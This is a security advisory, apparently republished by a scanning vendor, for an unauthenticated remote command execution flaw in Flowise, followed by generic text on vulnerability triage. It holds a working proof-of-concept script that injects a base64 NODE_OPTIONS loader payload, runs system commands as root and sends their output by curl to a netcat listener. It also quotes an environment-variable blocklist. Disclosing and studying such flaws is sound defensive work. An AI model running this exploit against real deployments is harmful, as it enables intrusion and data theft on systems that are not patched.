Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.
The vulnerability is in a validation check within the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:
Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }
No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.
Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.
Vulnerable Code (FILE-STORAGE:: bypass):
// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) {
// pass <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
// Only proceed if the parameter is enabled
continue
}
This bypass allows an attacker to override the mcpServerConfig and inject a malicious NODE_OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE_OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.
Vulnerable Code (NODE_OPTIONS not blocked):
// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
}
API Override Enabled The chatflow must have "API Override" toggled ON in Chatflow Configuration. Public Chatflow The chatflow must be shared publicly. MCP Node The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).
Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.
Common use cases that necessitate enabling this feature include:
sessionId or chatId for each user to maintain separate conversation histories.To reproduce the vulnerability, follow these steps:
Step 1: Start Flowise Instance
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest
Step 2: Configure a Public Chatflow with MCP Tool
http://localhost:3000 and create an account.Custom MCP node and a Custom JS Function node.Custom MCP output to the Custom JS Function's tools input.Custom JS Function to be an Ending Node with the code: return $tools ? "Tools loaded" : "No tools";Custom MCP with the MCP Server Config: {"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}chatflowId from the URL.Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:
# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."
#!/bin/bash
CHATFLOW_ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER_IP="172.17.0.1" # Docker local IP for testing
# Payload: Execute commands and transmit output to remote listener
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};'
ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')
# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g')
# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \
-H "Content-Type: application/json" \
-d "{
\"question\": \"trigger\",
\"overrideConfig\": {
\"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\"
}
}"
# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
This vulnerability allows for:
The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.
Jeremy Brown
| Software | From | Fixed in |
|---|---|---|
flowise
|
- | 3.1.0 |
flowise-components
|
- | 3.1.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.